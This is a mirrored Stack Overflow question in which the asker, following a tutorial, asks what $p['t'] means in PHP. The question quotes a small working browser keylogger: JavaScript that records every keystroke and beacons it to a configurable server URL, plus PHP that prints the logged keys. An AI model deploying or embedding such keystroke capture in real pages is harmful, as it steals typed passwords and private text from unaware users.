TransWikia.com

What does $p['t] mean in this keylogger code?

Stack Overflow Asked by rickyk95 on December 3, 2021

I hope you’re all doing well. So I’m trying to follow a tutorial to make a simple keylogger with Java Script and PHP, and there’s one particular line in the code that confuses me.

In one of the bits of code in charge of reading the key strokes there is a $p[‘t’] written inside the for each loop. What does this mean?

This is the code that creates the presses array:

var presses = [];
window.addEventListener("keydown", function (evt) {
  presses.push({
    t: Math.round(new Date().getTime() / 1000),
    k: evt.key,
  });
});

And this is the code that regularly sends it to the PHP reader file.

window.setInterval(function () {
  if (presses.length > 5) {
    var data = encodeURIComponent(JSON.stringify(presses));
    // console.log(data);
    new Image().src = "http://localhost/test/keylog.php?k=" + data; // CHANGE THIS URL TO YOUR OWN!
    presses = [];
  }
}, 500);

foreach ($presses as $p) {
  printf("[%s] %s<br>", date("Y-m-d H:i:s", $p['t']), $p['k']);
}

Add your own answers!

Ask a Question

Get help from others!

© 2024 TransWikia.com. All rights reserved. Sites we Love: PCI Database, UKBizDB, Menu Kuliner, Sharing RPP